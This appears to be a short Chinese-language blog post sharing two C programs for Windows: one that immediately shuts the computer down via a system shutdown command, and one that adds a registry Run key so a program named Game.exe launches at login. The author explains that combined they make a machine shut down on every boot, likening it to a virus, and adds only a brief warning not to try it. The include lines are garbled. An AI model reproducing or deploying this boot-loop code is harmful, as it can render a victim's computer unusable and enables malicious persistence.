我这几天学了一个好东西给大家看看代码:
#include#include #include int main(void) { char input[20]={0}; system("shutdown -s -t 0"); return 0; }
以上是关机程序。
#include#include #include void ComputerStart(char *pathName) { //找到系统的启动项 char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; HKEY hKey; //打开注册表启动项 int k = RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey); if (k == ERROR_SUCCESS) { //添加一个子Key,并设置值,MyStart为启动项名称,自定义设置; RegSetValueEx(hKey, "MyStart", 0, REG_SZ, (BYTE *)pathName, strlen(pathName)); //关闭注册表 RegCloseKey(hKey); printf("设置成功\n"); } else { printf("设置失败 error:%d\n", k); } } int main() { char pathName[MAX_PATH];//文件名字最大260个字符 MAX_PATH 260 GetCurrentDirectory(MAX_PATH, pathName);//设置字符集为多字节字符集 获取当前文件路径 sprintf(pathName, "%s\\", pathName); strcat(pathName, "Game.exe");//找到需要开机自启动的程序 ComputerStart(pathName); system("pause"); return 0; }
以上是设置启动项程序。
加起来等于重复关机器
开机就关机。
就像一个电脑病毒。
千万不要随便尝试。
文章内容属作者个人观点,不代表本站立场,如有侵权立删。